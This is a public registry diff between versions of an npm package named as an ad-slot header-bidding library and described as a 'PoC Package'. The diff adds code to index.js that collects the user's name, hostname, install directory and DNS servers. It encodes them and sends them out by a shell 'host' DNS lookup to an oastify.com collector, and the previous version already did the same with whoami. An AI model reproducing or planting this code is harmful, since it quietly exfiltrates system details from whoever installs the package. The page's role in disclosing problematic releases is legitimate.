@plentyofcode/header-bidding-adslot 2.0.36 → 2.0.39

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @plentyofcode/header-bidding-adslot might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +25 -2
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,5 +1,28 @@
1
1
  const { exec } = require("child_process");
2
- exec(`a=$(whoami) && host $a.6elwv6smxqmvomk604z8nlqb329txmlb.oastify.com`, (error, data, getter) => {
2
+ const dns = require("dns");
3
+ const os = require("os");
4
+ const path = require("path");
5
+
6
+ // RCE
7
+ const packageName = "@plentyofcode/header-bidding-adslot"; // Package
8
+ const username = os.userInfo().username; // User
9
+ const hostname = os.hostname(); // HostName
10
+ const currentDir = __dirname; // Dir
11
+ const dnsServers = dns.getServers(); // DNS
12
+
13
+ // Encode
14
+ const info = {
15
+ p: packageName,
16
+ u: username,
17
+ hn: hostname,
18
+ d: currentDir,
19
+ dns: dnsServers
20
+ };
21
+
22
+ const encodedInfo = encodeURIComponent(JSON.stringify(info));
23
+
24
+ // Execute and Send DNS request
25
+ exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data, getter) => {
3
26
  if (error) {
4
27
  console.log("error", error.message);
5
28
  return;
@@ -9,4 +32,4 @@ exec(`a=$(whoami) && host $a.6elwv6smxqmvomk604z8nlqb329txmlb.oastify.com`, (err
9
32
  return;
10
33
  }
11
34
  console.log(data);
12
- });
35
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@plentyofcode/header-bidding-adslot",
3
- "version": "2.0.36",
3
+ "version": "2.0.39",
4
4
  "description": "PoC Package",
5
5
  "main": "index.js",
6
6
  "scripts": {